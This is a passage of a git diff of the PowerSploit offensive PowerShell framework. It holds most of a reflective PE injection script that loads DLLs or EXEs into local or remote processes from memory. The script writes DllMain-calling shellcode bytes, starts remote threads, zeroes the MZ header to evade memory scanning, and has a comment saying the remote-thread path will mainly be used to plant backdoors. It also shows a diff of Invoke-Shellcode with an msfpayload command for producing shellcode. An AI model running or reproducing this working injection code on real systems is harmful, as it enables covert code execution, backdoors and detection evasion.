[String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position = 3)] + [Bool] + $ForceASLR = $false + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + #ASLR check + [IntPtr]$LoadAddr = [IntPtr]::Zero + $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + if ((-not $ForceASLR) -and (-not $PESupportsASLR)) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + elseif ($ForceASLR -and (-not $PESupportsASLR)) + { + Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + } + + if ($ForceASLR -and $RemoteLoading) + { + Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + } + if ($RemoteLoading -and (-not $PESupportsASLR)) + { + Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + + Function Main + { + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #If a remote process to inject in to is specified, get a handle to it + if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) + { + Throw "Can't supply a ProcId and ProcName, choose one or the other" + } + elseif ($ProcName -ne $null -and $ProcName -ne "") + { + $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) + if ($Processes.Count -eq 0) + { + Throw "Can't find process $ProcName" + } + elseif ($Processes.Count -gt 1) + { + $ProcInfo = Get-Process | Where-Object { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId + Write-Output $ProcInfo + Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." + } + else + { + $ProcId = $Processes[0].ID + } + } + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + if (($ProcId -ne $null) -and ($ProcId -ne 0)) + { + $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Throw "Couldn't obtain the handle for process ID: $ProcId" + } + + Write-Verbose "Got the handle for the remote process to inject in to" + } + + + #Load the PE reflectively + Write-Verbose "Calling Invoke-MemoryLoadLibrary" + $PEHandle = [IntPtr]::Zero + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR + } + else + { + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR + } + if ($PELoadedInfo -eq [IntPtr]::Zero) + { + Throw "Unable to load PE, handle returned is NULL" + } + + $PEHandle = $PELoadedInfo[0] + $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process + + + #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) + { + ######################################### + ### YOUR CODE GOES HERE + ######################################### + switch ($FuncReturnType) + { + 'WString' { + Write-Verbose "Calling function with WString return type" + [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" + if ($WStringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) + [IntPtr]$OutputPtr = $WStringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) + Write-Output $Output + } + + 'String' { + Write-Verbose "Calling function with String return type" + [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" + if ($StringFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) + $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) + [IntPtr]$OutputPtr = $StringFunc.Invoke() + $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) + Write-Output $Output + } + + 'Void' { + Write-Verbose "Calling function with Void return type" + [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if ($VoidFuncAddr -eq [IntPtr]::Zero) + { + Throw "Couldn't find function address." + } + $VoidFuncDelegate = Get-DelegateType @() ([Void]) + $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) + $VoidFunc.Invoke() | Out-Null + } + } + ######################################### + ### END OF YOUR CODE + ######################################### + } + #For remote DLL injection, call a void function which takes no parameters + elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" + if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) + { + Throw "VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process or if it is an EXE. + #Note that all DLL's loaded by the EXE will remain loaded in memory. + if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Delete the PE file from memory. + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } + + Write-Verbose "PowerShell ProcessID: $PID" + + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join '' + + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' + } + + if (-not $DoNotZeroMZ) { + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + } + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName + } } Main diff --git a/CodeExecution/Invoke-Shellcode.ps1 b/CodeExecution/Invoke-Shellcode.ps1 index 28795583..1e889f6c 100644 --- a/CodeExecution/Invoke-Shellcode.ps1 +++ b/CodeExecution/Invoke-Shellcode.ps1 @@ -5,22 +5,22 @@ function Invoke-Shellcode Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. -PowerSploit Function: Invoke-Shellcode -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): -msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. - + .PARAMETER ProcessID Process ID of the process you want to inject shellcode into. @@ -35,7 +35,7 @@ Injects shellcode without prompting for confirmation. By default, Invoke-Shellco .EXAMPLE -C:\PS> Invoke-Shellcode -ProcessId 4274 +Invoke-Shellcode -ProcessId 4274 Description ----------- @@ -43,7 +43,7 @@ Inject shellcode into process ID 4274. .EXAMPLE -C:\PS> Invoke-Shellcode +Invoke-Shellcode Description ----------- @@ -51,27 +51,32 @@ Inject shellcode into the running instance of PowerShell. .EXAMPLE -C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) - +Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + Description ----------- Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! #> -[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( - [ValidateNotNullOrEmpty()] - [UInt16] - $ProcessID, - - [Parameter( ParameterSetName = 'RunLocal' )] - [ValidateNotNullOrEmpty()] - [Byte[]] - $Shellcode, - - [Switch] - $Force = $False -) + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding( DefaultParameterSetName = 'RunLocal', ConfirmImpact = 'High')] + Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Switch] + $Force = $False + ) Set-StrictMode -Version 2.0 @@ -81,17 +86,17 @@ Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null } - + function Local:Get-DelegateType { Param ( [OutputType([Type])] - + [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), - + [Parameter( Position = 1 )] 